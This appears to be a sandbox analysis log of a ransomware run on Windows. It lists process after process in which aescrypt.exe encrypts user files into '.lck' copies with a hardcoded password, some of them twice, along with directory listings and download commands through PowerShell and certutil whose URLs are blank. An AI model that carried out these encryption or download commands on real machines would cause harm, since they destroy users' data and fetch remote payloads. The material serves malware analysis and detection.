                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RegisterStart.mpg.lck" "RegisterStart.mpg"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:4964
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "WaitRead.xml.lck" "WaitRead.xml"
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:2888
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MeasureInitialize.mid.lck" "MeasureInitialize.mid"
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:4980
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StopEdit.otf.lck" "StopEdit.otf"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:184
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishUndo.vb.lck" "PublishUndo.vb"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:2288
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeJoin.ADTS.lck" "ResizeJoin.ADTS"
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:5096
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StepGet.avi.lck" "StepGet.avi"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:5032
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InvokePop.ppsx.lck" "InvokePop.ppsx"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:5020
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DisableRestart.vbe.lck" "DisableRestart.vbe"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:5064
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CheckpointSkip.dwg.lck" "CheckpointSkip.dwg"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4260
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendUninstall.potx.lck" "SendUninstall.potx"
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4212
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InitializeApprove.vbs.lck" "InitializeApprove.vbs"
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4132
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandEdit.vstm.lck" "ExpandEdit.vstm"
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4420
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectRegister.php.lck" "ProtectRegister.php"
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4464
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "WriteWait.jpeg.lck" "WriteWait.jpeg"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4528
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectLimit.ppsm.lck" "ProtectLimit.ppsm"
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:4572
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CheckpointRepair.wm.lck" "CheckpointRepair.wm"
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:368
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestSearch.ico.lck" "TestSearch.ico"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4956
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ImportRename.cab.lck" "ImportRename.cab"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3060
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveRevoke.m3u.lck" "MoveRevoke.m3u"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3112
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CloseDisconnect.bmp.lck" "CloseDisconnect.bmp"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3212
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishUpdate.iso.lck" "PublishUpdate.iso"
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3684
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4336
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                            powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:3456
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                              powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:3916
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3600
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:3460
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4444
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck" "Wallpaper.jpg"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4428
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck" "ResizeUndo.svgz"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:3912
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck" "BackupImport.dxf"
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:3368
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck" "SyncDisable.gif"
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:3700
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck" "PublishClose.emf"
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:3708
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck" "ReadSuspend.ico"
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3584
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck" "EditPublish.jpg"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3944
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck" "SendSearch.tif"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4596
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MoveTest.dib.lck" "MoveTest.dib"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2388
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ProtectUndo.emz.lck" "ProtectUndo.emz"
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4336
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck" "GetPublish.gif"
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3592
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck" "PublishStep.svgz"
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3264
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck" "ResumeRequest.wmf"
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3312
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck" "OptimizeMeasure.dib"
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:3280
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck" "DenyPing.pcx"
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3364
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck" "SwitchRedo.svg"
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4952
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3040
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4124
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3756
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck" "desktop.ini.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3920
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck" "Wallpaper.jpg"
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3216
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Wallpaper.jpg.lck.lck" "Wallpaper.jpg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck" "ResizeUndo.svgz"
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3948
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResizeUndo.svgz.lck.lck" "ResizeUndo.svgz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4452
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck" "BackupImport.dxf"
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3444
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupImport.dxf.lck.lck" "BackupImport.dxf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3572
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck" "SyncDisable.gif"
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3416
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncDisable.gif.lck.lck" "SyncDisable.gif.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5080
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck" "PublishClose.emf"
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4544
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishClose.emf.lck.lck" "PublishClose.emf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3040
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck" "ReadSuspend.ico"
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3616
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ReadSuspend.ico.lck.lck" "ReadSuspend.ico.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4556
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck" "EditPublish.jpg"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3136
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditPublish.jpg.lck.lck" "EditPublish.jpg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3560
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SendSearch.tif.lck" "SendSearch.tif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies extensions of user files
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3376
